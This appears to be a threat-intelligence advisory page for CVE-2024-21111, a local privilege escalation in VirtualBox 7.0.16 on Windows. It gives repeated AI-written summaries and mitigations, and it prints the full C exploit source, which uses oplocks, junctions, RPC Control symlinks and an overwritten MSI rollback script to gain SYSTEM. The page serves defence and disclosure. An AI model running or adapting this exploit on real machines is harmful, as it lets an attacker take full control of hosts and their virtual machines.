VirtualBox 7.0.16 - Privilege Escalation
VirtualBox 7.0.16 - Privilege Escalation
AI Analysis
Technical Summary
The security threat concerns a privilege escalation vulnerability in Oracle VirtualBox version 7.0.16, identified as CVE-2024-21111. The exploit targets Windows x64 systems running this specific VirtualBox version. The vulnerability allows a local attacker to escalate privileges from a standard user to SYSTEM level by exploiting flaws in VirtualBox's handling of certain file system operations and inter-process communication mechanisms. The provided exploit code, written in C, leverages Windows native APIs and advanced techniques such as opportunistic file locks (oplocks), junction points, symbolic links, and manipulation of VirtualBox's VBoxSDS logging directory under C:\ProgramData\VirtualBox. The exploit involves creating and deleting directories and files with specific names (e.g., Config.msi, VBoxSDS.log.11), monitoring directory changes, and overwriting rollback script files (.rbs) to execute arbitrary code with elevated privileges. The code also interacts with COM interfaces (CLSID_VBoxSDS) and uses low-level NT system calls (NtCreateFile, NtSetInformationFile) to bypass normal security checks. The exploit requires no user interaction beyond local execution and does not depend on network access, making it a local privilege escalation attack. The attacker must have local access to the machine but can then gain SYSTEM privileges, potentially compromising the entire host system and any virtual machines running on it. No patch links are currently provided, and no known exploits are reported in the wild yet, but the availability of public exploit code increases the risk of exploitation.
Potential Impact
For European organizations, this vulnerability poses a significant risk, especially those relying on VirtualBox 7.0.16 for virtualization in development, testing, or production environments. Successful exploitation can lead to full system compromise, allowing attackers to bypass security controls, access sensitive data, install persistent malware, or pivot to other networked systems. The integrity and availability of virtualized workloads and host systems can be severely affected. Organizations in sectors with stringent data protection requirements (e.g., finance, healthcare, government) face heightened risks of data breaches and regulatory non-compliance. Additionally, since VirtualBox is often used in multi-tenant or shared environments, this vulnerability could facilitate lateral movement or privilege escalation within corporate networks. The exploit's reliance on local access means insider threats or attackers who have gained initial footholds via other means could leverage this vulnerability to escalate privileges rapidly.
Mitigation Recommendations
1. Immediate upgrade or patching: Although no official patch links are provided yet, organizations should monitor Oracle's advisories closely and apply patches as soon as they become available. 2. Restrict local access: Limit user permissions on systems running VirtualBox to trusted administrators only. Disable or restrict local accounts that do not require VirtualBox access. 3. Monitor and audit: Implement enhanced monitoring for suspicious file system activities, especially in C:\ProgramData\VirtualBox and C:\Config.msi directories. Use endpoint detection and response (EDR) tools to detect exploitation attempts involving oplocks, junction points, or symbolic link manipulations. 4. Harden VirtualBox usage: Avoid running VirtualBox with elevated privileges unnecessarily. Use least privilege principles for VirtualBox services and processes. 5. Application whitelisting: Employ application control to prevent unauthorized execution of unknown binaries or scripts that could exploit this vulnerability. 6. Incident response readiness: Prepare to respond to potential exploitation by having forensic tools ready to analyze privilege escalation attempts and isolate affected systems promptly. 7. User education: Inform local users about the risks of running untrusted code or scripts on hosts with VirtualBox installed.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Sweden, Belgium, Switzerland
Indicators of Compromise
- exploit-code: # Exploit Title: VirtualBox 7.0.16 - Privilege Escalation # Date: 2025-05-06 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win x64 # CVE : CVE-2024-21111 #include <Windows.h> #include <Shlwapi.h> #include <WtsApi32.h> #include <Msi.h> #include <PathCch.h> #include <AclAPI.h> #include <iostream> #include "resource.h" #include "def.h" #include "FileOplock.h" #pragma comment(lib, "Msi.lib") #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "wtsapi32") #pragma comment(lib, "PathCch.lib") #pragma comment(lib, "rpcrt4.lib") #pragma warning(disable:4996) struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5")) CLSID_VBoxSDS; FileOpLock* oplock; HANDLE hFile, vb11, h; HANDLE hthread; NTSTATUS retcode; HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); DWORD RbsSize = SizeofResource(hm, res); void* RbsBuff = LoadResource(hm, res); WCHAR dir[MAX_PATH] = { 0x0 }; wchar_t filen[MAX_PATH] = { 0x0 }; DWORD WINAPI install(void*); BOOL Move(HANDLE hFile); void callback(); HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); LPWSTR BuildPath(LPCWSTR path); void loadapis(); VOID cb1(); VOID cb0(); BOOL Monitor(HANDLE hDir); BOOL clearDataDir(); BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) { HANDLE hJunction; DWORD cb; wchar_t printname[] = L""; HANDLE hDir; hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("[!] Failed to obtain handle on directory %ls.\n", dir); return FALSE; } SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); SIZE_T PathLen = TargetLen + PrintnameLen + 12; SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; Data->ReparseDataLength = PathLen; Data->Reserved = 0; Data->MountPointReparseBuffer.SubstituteNameOffset = 0; Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) { printf("[+] Junction %ls -> %ls created!\n", dir, target); free(Data); return TRUE; } else { printf("[!] Error: %d. Exiting\n", GetLastError()); free(Data); return FALSE; } } BOOL DeleteJunction(LPCWSTR path) { REPARSE_GUID_DATA_BUFFER buffer = { 0 }; BOOL ret; buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; DWORD cb = 0; IO_STATUS_BLOCK io; HANDLE hDir; hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("[!] Failed to obtain handle on directory %ls.\n", path); printf("%d\n", GetLastError()); return FALSE; } ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL); if (ret == 0) { printf("Error: %d\n", GetLastError()); return FALSE; } else { printf("[+] Junction %ls delete!\n", dir); return TRUE; } } BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { printf("[+] Symlink %ls -> %ls created!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { printf("[+] Symlink %ls -> %ls deleted!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } void runSDS(int delay) { if (delay == 1) { printf("[!] sleeping for 2 sec\n"); Sleep(2000); } CoInitialize(NULL); LPVOID ppv; // 1st trigger to create VBoxSDS.log dir CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER, IID_IUnknown, &ppv); CoUninitialize(); } BOOL checkSDSLog() { BOOL clear = FALSE; std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*"; HANDLE hFind; WIN32_FIND_DATA data; hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data); // iterate first VBoxSDS.log FindNextFile(hFind, &data); if (hFind != INVALID_HANDLE_VALUE) { do { if (wcswcs(data.cFileName, L"VBoxSDS.log.")) { runSDS(0); //wprintf(L"%s\n", data.cFileName); } else { printf("[+] Logs have been cleared!\n"); clear = TRUE; } //wprintf(L"%s\n", data.cFileName); } while (FindNextFile(hFind, &data)); FindClose(hFind); } //printf("CLEAR: %d\n", clear); return clear; } BOOL enumProc(const wchar_t* procName) { PWTS_PROCESS_INFO processes{}; BOOL ok = FALSE; DWORD count; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes, &count)) { for (DWORD i = 0; i < count; i++) { if (wcswcs(processes[i].pProcessName, procName)) { wprintf(L"[!] Process active: %s with PID %d\n", processes[i].pProcessName, processes[i].ProcessId); ok = TRUE; break; } } } else { printf("err: %d\n", GetLastError()); } WTSFreeMemory(processes); return ok; } void checkIfExists() { if (enumProc(L"VirtualBoxVM.exe")) { printf("[!] You seem to have active VMs running, please stop them before running this to prevent corruption of any saved data of the VMs.\n"); exit(1); } if (enumProc(L"VirtualBox.exe")) { printf("[!] VirtualBox process active\n"); // message printf("[!] Trying to exit virtualbox by postmessage close window\n"); PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")), WM_CLOSE, NULL, NULL); printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n"); Sleep(12000); if (enumProc(L"VBoxSDS.exe")) { printf("[-] error stopping vboxsds\n"); exit(1); } else { printf("[+] Success stopping vboxsds!\n"); } } } BOOL clearDataDir() { do { vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x %d\n", vb11, GetLastError()); } while (vb11 == INVALID_HANDLE_VALUE); oplock = FileOpLock::CreateLock(vb11, cb1); if (oplock != NULL) { HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } BOOL isEmpty = FALSE; do { isEmpty = checkSDSLog(); } while (isEmpty == FALSE); if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) { printf("error removing vboxlog dir\n"); exit(1); } return isEmpty; } int wmain() { loadapis(); checkIfExists(); clearDataDir(); hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); install(NULL); hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile != INVALID_HANDLE_VALUE) { printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); } else { printf("[!] Failed. Cannot remove c:\\Config.msi"); //return 1; } } if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) { printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); //return 1; } printf("[+] Config.msi directory created!\n"); HANDLE hDir = getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); printf("hDir: %x\n", hDir); //Monitor(hDir); HANDLE zxc{}; zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0, NULL); SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain express control of our priority SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); oplock = FileOpLock::CreateLock(hFile, callback); if (oplock != nullptr) { oplock->WaitForLock(INFINITE); delete oplock; } do { hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); } while (!hFile); char buff[4096]; DWORD retbt = 0; FILE_NOTIFY_INFORMATION* fn; WCHAR* extension; WCHAR* extension2; do { ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retbt, NULL, NULL); fn = (FILE_NOTIFY_INFORMATION*)buff; size_t sz = fn->FileNameLength / sizeof(WCHAR); fn->FileName[sz] = '\0'; extension = fn->FileName; PathCchFindExtension(extension, MAX_PATH, &extension2); } while (wcscmp(extension2, L".rbs") != 0); SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); while (!Move(hFile)) { } HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); WCHAR rbsfile[MAX_PATH]; _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { printf("[+] Rollback script overwritten!\n"); } else { printf("[!] Failed to overwrite rbs file!\n"); } CloseHandle(rbs); CloseHandle(cfg_h); DeleteJunction(dir); CloseHandle(zxc); WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); return 0; } DWORD WINAPI install(void*) { HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); wchar_t msipackage[MAX_PATH] = { 0x0 }; GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); printf("[*] MSI file: %ls\n", msipackage); DWORD MsiSize = SizeofResource(hm, res); void* MsiBuff = LoadResource(hm, res); HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); CloseHandle(pkg); MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); printf("%d\n", a); MsiInstallProduct(msipackage, L"REMOVE=ALL"); DeleteFile(msipackage); return 0; } BOOL Move(HANDLE hFile) { if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Invalid handle!\n"); return FALSE; } wchar_t tmpfile[MAX_PATH] = { 0x0 }; RPC_WSTR str_uuid; UUID uuid = { 0 }; UuidCreate(&uuid); UuidToString(&uuid, &str_uuid); _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); IO_STATUS_BLOCK io = { 0 }; rename_info->ReplaceIfExists = TRUE; rename_info->RootDirectory = NULL; rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); if (status != 0) { return FALSE; } return TRUE; } void callback() { SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); Move(hFile); hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL); HANDLE hd; do { hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (!hd); do { CloseHandle(hd); hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (hd); CloseHandle(hd); do { hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); CloseHandle(hd); } while (retcode != 0xC0000022); } HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { UNICODE_STRING ufile; HANDLE hDir; pRtlInitUnicodeString(&ufile, file); OBJECT_ATTRIBUTES oa = { 0 }; IO_STATUS_BLOCK io = { 0 }; InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); if (!NT_SUCCESS(retcode)) { return NULL; } return hDir; } LPWSTR BuildPath(LPCWSTR path) { wchar_t ntpath[MAX_PATH]; swprintf(ntpath, L"\\??\\%s", path); return ntpath; } void loadapis() { HMODULE ntdll = GetModuleHandle(L"ntdll.dll"); if (ntdll != NULL) { pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); } if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { printf("Cannot load api's %d\n", GetLastError()); exit(0); } } void cb0() { if (!Move(h)) { printf("reached3\n"); exit(1); } printf("reached2\n"); _swprintf(dir, L"C:\\ProgramData\\VirtualBox"); if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) { printf("[!] Exiting!\n"); exit(1); } WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); if (!DosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) { printf("zxc\n"); //printf("[!] Exiting!\n"); //exit(1); } } void cb1() { printf("[!] oplock triggered\n"); if (!Move(vb11)) { printf("reached3\n"); exit(1); } if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) { printf("Error creating dir. Exiting\n"); exit(1); } return; } BOOL Monitor(HANDLE hDir) { printf("[!] Monitor called\n"); BOOL deleted = FALSE; _swprintf(filen, L"VBoxSDS.log.11"); do { do { h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x\n", h); } while (h == INVALID_HANDLE_VALUE); oplock = FileOpLock::CreateLock(h, cb0); if (oplock != NULL) { HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, (LPVOID)1, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } deleted = TRUE; } while (deleted == FALSE); return deleted; }
VirtualBox 7.0.16 - Privilege Escalation
Description
VirtualBox 7.0.16 - Privilege Escalation
AI-Powered Analysis
Technical Analysis
The security threat concerns a privilege escalation vulnerability in Oracle VirtualBox version 7.0.16, identified as CVE-2024-21111. The exploit targets Windows x64 systems running this specific VirtualBox version. The vulnerability allows a local attacker to escalate privileges from a standard user to SYSTEM level by exploiting flaws in VirtualBox's handling of certain file system operations and inter-process communication mechanisms. The provided exploit code, written in C, leverages Windows native APIs and advanced techniques such as opportunistic file locks (oplocks), junction points, symbolic links, and manipulation of VirtualBox's VBoxSDS logging directory under C:\ProgramData\VirtualBox. The exploit involves creating and deleting directories and files with specific names (e.g., Config.msi, VBoxSDS.log.11), monitoring directory changes, and overwriting rollback script files (.rbs) to execute arbitrary code with elevated privileges. The code also interacts with COM interfaces (CLSID_VBoxSDS) and uses low-level NT system calls (NtCreateFile, NtSetInformationFile) to bypass normal security checks. The exploit requires no user interaction beyond local execution and does not depend on network access, making it a local privilege escalation attack. The attacker must have local access to the machine but can then gain SYSTEM privileges, potentially compromising the entire host system and any virtual machines running on it. No patch links are currently provided, and no known exploits are reported in the wild yet, but the availability of public exploit code increases the risk of exploitation.
Potential Impact
For European organizations, this vulnerability poses a significant risk, especially those relying on VirtualBox 7.0.16 for virtualization in development, testing, or production environments. Successful exploitation can lead to full system compromise, allowing attackers to bypass security controls, access sensitive data, install persistent malware, or pivot to other networked systems. The integrity and availability of virtualized workloads and host systems can be severely affected. Organizations in sectors with stringent data protection requirements (e.g., finance, healthcare, government) face heightened risks of data breaches and regulatory non-compliance. Additionally, since VirtualBox is often used in multi-tenant or shared environments, this vulnerability could facilitate lateral movement or privilege escalation within corporate networks. The exploit's reliance on local access means insider threats or attackers who have gained initial footholds via other means could leverage this vulnerability to escalate privileges rapidly.
Mitigation Recommendations
1. Immediate upgrade or patching: Although no official patch links are provided yet, organizations should monitor Oracle's advisories closely and apply patches as soon as they become available. 2. Restrict local access: Limit user permissions on systems running VirtualBox to trusted administrators only. Disable or restrict local accounts that do not require VirtualBox access. 3. Monitor and audit: Implement enhanced monitoring for suspicious file system activities, especially in C:\ProgramData\VirtualBox and C:\Config.msi directories. Use endpoint detection and response (EDR) tools to detect exploitation attempts involving oplocks, junction points, or symbolic link manipulations. 4. Harden VirtualBox usage: Avoid running VirtualBox with elevated privileges unnecessarily. Use least privilege principles for VirtualBox services and processes. 5. Application whitelisting: Employ application control to prevent unauthorized execution of unknown binaries or scripts that could exploit this vulnerability. 6. Incident response readiness: Prepare to respond to potential exploitation by having forensic tools ready to analyze privilege escalation attempts and isolate affected systems promptly. 7. User education: Inform local users about the risks of running untrusted code or scripts on hosts with VirtualBox installed.
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Technical Details
- Edb Id
- 52287
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for VirtualBox 7.0.16 - Privilege Escalation
# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation # Date: 2025-05-06 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win x64 # CVE : CVE-2024-21111 #include <Windows.h> #include <Shlwapi.h> #include <WtsApi32.h> #include <Msi.h> #include <PathCch.h> #include <AclAPI.h> #include <iostream> #include "resource.h" #include "def.h" #include "FileOplock.h" #pragma comment(lib, "Msi.lib") #pragma c... (14870 more characters)
Threat ID: 68489dfc7e6d765d51d539fa
Added to database: 6/10/2025, 9:05:00 PM
Last enriched: 6/11/2025, 9:09:36 PM
Last updated: 8/17/2025, 4:28:50 PM
Views: 14
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